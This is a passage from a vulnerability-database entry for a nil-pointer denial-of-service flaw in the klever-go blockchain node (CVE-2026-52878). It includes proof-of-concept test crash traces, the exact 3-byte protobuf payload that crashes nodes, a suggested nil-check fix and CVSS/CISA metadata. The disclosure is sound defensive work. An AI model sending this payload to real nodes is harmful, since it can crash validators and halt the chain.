+0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n        .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)\n        .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c\ngithub.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)\n        .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)\n        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef\nFAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s\nFAIL\n```\n\nResult B - generic `SingleDataInterceptor` (same root cause via the shared chain):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v\n=== RUN   TestPoC_NilRawData_SingleDataInterceptor\n--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n        .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n        .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n        .../core/process/transaction/interceptedTransaction.go:154 +0x13\ngithub.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)\n        .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e\ngithub.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)\n        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1\nFAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s\nFAIL\n```\n\nInterpretation\n- Both runs abort the process with SIGSEGV originating at `txVersionChecker.go:22`\n  (`tx.RawData.Version`), reached through the real interceptor\u0027s synchronous\n  `ProcessReceivedMessage` frame - the exact frame the recover-free libp2p pubsub\n  callback executes in production. A recover()-less crash here = full node process exit.\n- Round-trip check (production `tools/marshal.ProtoMarshalizer`): the malicious tx is\n  3 bytes `12 01 78` and decodes to `RawData == nil`, confirming the trigger is a\n  valid, attacker-craftable wire message (not a malformed blob rejected earlier).\n\n## Suggested fix\nPrimary (root cause) - make `CheckTxVersion` nil-safe / reject `RawData == nil` early:\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx == nil || tx.RawData == nil {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\tif tx.RawData.Version \u003c tvc.minTxVersion {\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\nReturning a sentinel error here is already handled by the interceptors (they\nblacklist peers that send wrong-version transactions).\n\nDefense-in-depth:\n- Wrap the synchronous body of `pubsubCallback` (and/or `ProcessReceivedMessage`) in a\n  `recover()` so a single malformed message can never abort the process.\n- Audit the other direct `inTx.tx.RawData.*` dereferences in\n  `interceptedTransaction.go` (chainID/sender/contract/nonce/fee getters) for the same\n  nil-input class.\n\n## Duplicate check (vs published advisories)\nChecked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403,\nGHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate:\ndifferent root cause (nil `RawData` deref vs gzip OOM / throttler accounting / VM\nread-only isolation); the advisory texts never mention `RawData`, `CheckTxVersion`,\n`txVersionChecker`, or any nil/NULL deref. Those three advisories\u0027 fixes are already\npresent in the reviewed tree, yet `txVersionChecker.go:22` remains unpatched. It is\nadjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.",
  "id": "GHSA-rm5c-5x2p-48wr",
  "modified": "2026-06-09T18:40:35Z",
  "published": "2026-06-05T16:42:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt"
}

CVE-2026-52878 (GCVE-0-2026-52878)

Vulnerability from cvelistv5 – Published: 2026-08-07 22:32 – Updated: 2026-08-10 14:16

Title

Klever-Go: Unauthenticated nil-pointer DoS in P2P transaction validation can halt the chain

Summary

Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission causes RawData to decode to nil. Every transaction gossiped on the Klever-Go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback, where txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. Because the libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and Klever's own network/p2p layer install no recover(), the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required, and delivery aimed at enough of the BLS validator set can halt block production, resulting in a chain halt. This issue has been fixed in version 1.7.18.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-10 14:09 UTC

CWE

CWE-476 - NULL Pointer Dereference

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/klever-io/klever-go/security/a…	x_refsource_CONFIRM
https://github.com/klever-io/klever-go/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
klever-io	klever-go	Affected: >= 1.7.14, < 1.7.18

Show details on NVD website

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-52878",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-10T14:09:10.957245Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-10T14:16:48.518Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.7.14, \u003c 1.7.18"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Versions 1.7.14 through 1.7.17 are vulnerable to a nil-pointer panic triggered by a protobuf Transaction whose embedded RawData sub-message is omitted. This omission causes RawData to decode to nil. Every transaction gossiped on the Klever-Go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback, where txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. Because the libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and Klever\u0027s own network/p2p layer install no recover(), the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required, and delivery aimed at enough of the BLS validator set can halt block production, resulting in a chain halt. This issue has been fixed in version 1.7.18."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476: NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-07T22:32:27.340Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-rm5c-5x2p-48wr"
        },
        {
          "name": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.18"
        }
      ],
      "source": {
        "advisory": "GHSA-rm5c-5x2p-48wr",
        "discovery": "UNKNOWN"
      },
      "title": "Klever-Go: Unauthenticated nil-pointer DoS in P2P transaction validation can halt the chain"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-52878",
    "datePublished": "2026-08-07T22:32:27.340Z",
    "dateReserved": "2026-06-08T21:44:27.364Z",
    "dateUpdated": "2026-08-10T14:16:48.518Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-RM5C-5X2P-48WR

Summary

Affected component

Details

Preconditions

Impact

Exploit cost / attack complexity

PoC-Source

PoC-Results

Suggested fix

Duplicate check (vs published advisories)

CVE-2026-52878 (GCVE-0-2026-52878)

Tags

Sightings

Nomenclature

Related by attack behaviour